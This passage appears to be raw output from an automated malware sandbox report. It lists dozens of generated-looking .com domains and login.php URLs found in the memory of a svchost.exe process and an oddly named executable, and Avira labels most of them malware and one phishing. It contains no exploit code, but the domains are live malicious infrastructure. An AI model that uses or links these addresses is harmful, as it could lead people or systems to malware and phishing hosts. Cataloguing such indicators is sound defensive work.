                                                                                                                                                                                                              http://gaqycow.com/login.phpsvchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959786378.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pufywil.com/http://qeqyfaq.com/http://gatynes.com/http://purygeg.com/svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vowypim.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1971826168.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://galydyw.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pumydoq.com/svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2135796758.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151803375.0000000002F99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2147298188.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2137072725.0000000002F7F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qexyvoq.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qetyhyg.com/login.phpsvchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1884112717.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://gacypyz.com/http://lysyger.com/http://lyvysur.com/http://lysyger.com/http://galyros.com/http:svchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lygytyd.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880310454.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://puzymup.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qedyhyl.com/login.phpsvchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190135620.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A0C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pujyteq.com/login.phpsvchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128433067.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vojyduf.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914887301.0000000008A3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://volydyk.com/svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qegylep.com/http://pufylap.com/8(svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882013013.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qekylag.com/Hsvchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2168978685.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161988616.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140994137.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vofyzym.com/Hsvchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pupycuv.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910077004.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lymysox.com/svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qetykyq.com/login.phpsvchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vofypuk.com/Hsvchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lyvynen.com/Hsvchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vowykaf.com/login.phpsvchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863304297.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1844516038.000000000089C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qetynev.com/login.phpsvchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pujylog.com/login.phpsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qedyfyq.com/login.phpsvchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687658381.0000000008A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1976182550.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978180156.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993354280.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993170476.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C69000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lykygun.com/svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lyxyxyd.com/http://qeqyfaq.com/http://gaqyfah.com/http://gaqyfah.com/http://gahykih.com/http:svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://puzytap.com/login.phpsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2139976927.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qegyval.com/login.phpsvchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843534286.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854943514.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1843563132.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2864162691.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854237093.0000000002FBF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1854650597.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085976416.0000000008BB7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lykygur.com/http://qeqytup.com/http://lykygur.com/svchost.exe, 00000001.00000003.2811723462.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2814550961.0000000008AFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lykyxur.com/svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lysynaj.com/login.phpsvchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158139409.0000000002F99000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905496226.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2156817392.0000000002F92000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905754051.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2169739784.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpfalse
